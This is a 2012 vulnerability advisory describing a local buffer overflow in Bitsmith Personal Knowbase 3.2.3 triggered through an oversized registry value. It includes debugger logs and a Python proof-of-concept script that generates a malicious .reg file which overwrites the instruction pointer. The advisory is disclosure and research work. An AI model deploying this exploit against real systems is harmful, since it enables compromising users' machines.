1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 |
Title: ====== Bitsmith PS Knowbase 3.2.3 - Buffer Overflow Vulnerability Date: ===== 2012-03-29 References: =========== http://www.vulnerability-lab.com/get_content.php?id=474 VL-ID: ===== 474 Introduction: ============= Personal Knowbase is a program for organizing free-form information using keywords. Build a personal knowledge base of all your notes, messages, and ideas. Store and index your information in one place for easy retrieval using keywords that you choose. The attachment feature even associates disk files and Internet addresses with your notes, so you can access any computerized information using the same set of keywords. �Reduce paper clutter. �Save hard disk space by consolidating small text files. �Gather related information together. �Find your information easily. �Protect your private information with passwords. �Cross-reference your notes with hypertext links. (Copy of the Vendor Homepage: http://www.bitsmithsoft.com/ ) Abstract: ========= A Vulnerability Laboratory Researcher discovered a local Buffer Overflow vulnerability on Bitsmiths Personal Knowbase v3.2.3. Report-Timeline: ================ 2012-03-14: Vendor Notification 1 2012-03-16: Vendor Notification 2 2012-03-20: Vendor Notification 3 2012-03-30: Public or Non-Public Disclosure Status: ======== Published Affected Products: ================== Bitsmith Product: Personal Knowbase v3.2.3 Exploitation-Technique: ======================= Local Severity: ========= High Details: ======== A Buffer Overflow vulnerability is detected on Bitsmith Software Personal Knowbase v3.2.3. The vulnerability is located in the main executeable knowbase.exe. An oversized string on the registry valueKnowbase Data within the Key[HKEY_CURRENT_USER/Software/Bitsmith Software/Personal Knowbase/Directories]results in a local buffer overflow. The value gets read within the FileOpen dialogue. An attacker needs to manipulate the registry value and has to trick the victim to open and cancel theFileOpen dialogue. Vulnerable Module(s): [+] knowbase.exe ---Debugger Logs--- # 41414141: The instruction at 0x41414141 referenced memory at 0x41414141. The memory could not be read -> 41414141 (exc.code c0000005, tid 844) # Registers: # EAX 00000000 # ECX 41414141 # EDX 005716E8 knowbase.005716E8 # EBX 00000001 # ESP 0012F730 ASCII <code></code>CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC<code> # EBP 0012F738 ASCII <code></code>CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC<code> # ESI 00527DF8 knowbase.00527DF8 # EDI 00570BC8 knowbase.00570BC8 # EIP 41414141 # Stack: # 0012F724 41414141AAAA # 0012F728 FFFFFFFF # 0012F72C 42424242BBBB # 0012F730 43434343CCCC # 0012F734 43434343CCCC # 0012F738 43434343CCCC # 0012F73C 43434343CCCC # Dump: # 0012F71041 41 41 41 41 41 41 41AAAAAAAA # 0012F71841 41 41 41 41 41 41 41AAAAAAAA # 0012F72041 41 41 41 41 41 41 41AAAAAAAA # 0012F728FF FF FF FF 42 42 42 42BBBB # 0012F73043 43 43 43 43 43 43 43CCCCCCCC # 0012F73843 43 43 43 43 43 43 43CCCCCCCC # 0012F74043 43 43 43 43 43 43 43CCCCCCCC Picture(s): ../1.png Proof of Concept: ================= The vulnerability can be exploited by local attackers. Successful exploitation requires user inter actionby clicking the dialog file open or cancel. For demonstration or reproduce ... #!/usr/bin/python # Exploit Title: Bitsmith Software Personal Knowbase v3.2.3 Local Buffer Overflow # Version: 3.2.3 # Tested on: Windows XP SP3 Professional German # Howto: Import Reg -> Start App -> Open File --> Cancel file="poc.reg" junk1="\x41" * 272 boom="\x42\x42\x42\x42" junk2="\x43" * 100 poc="Windows Registry Editor Version 5.00\n\n" poc=poc + "[HKEY_CURRENT_USER\Software\Bitsmith Software\Personal Knowbase\Directories]\n" poc=poc + "\"Knowbase Data\"=\"" + junk1 + boom + junk2 + "\"" try: print "[*] Creating exploit file...\n"; writeFile = open (file, "w") writeFile.write( poc ) writeFile.close() print "[*] File successfully created!"; except: print "[!] Error while creating file!"; Risk: ===== The security risk of the local buffer overflow vulnerability is estimated as high(-). Credits: ======== Vulnerability Research Laboratory -Julien Ahrens(MrTuxracer)[www.inshell.net] Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability- Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab or its suppliers. Copyright � 2012|Vulnerability-Lab -- VULNERABILITY RESEARCH LABORATORY TEAM Website: www.vulnerability-lab.com Mail: research@vulnerability-lab.com |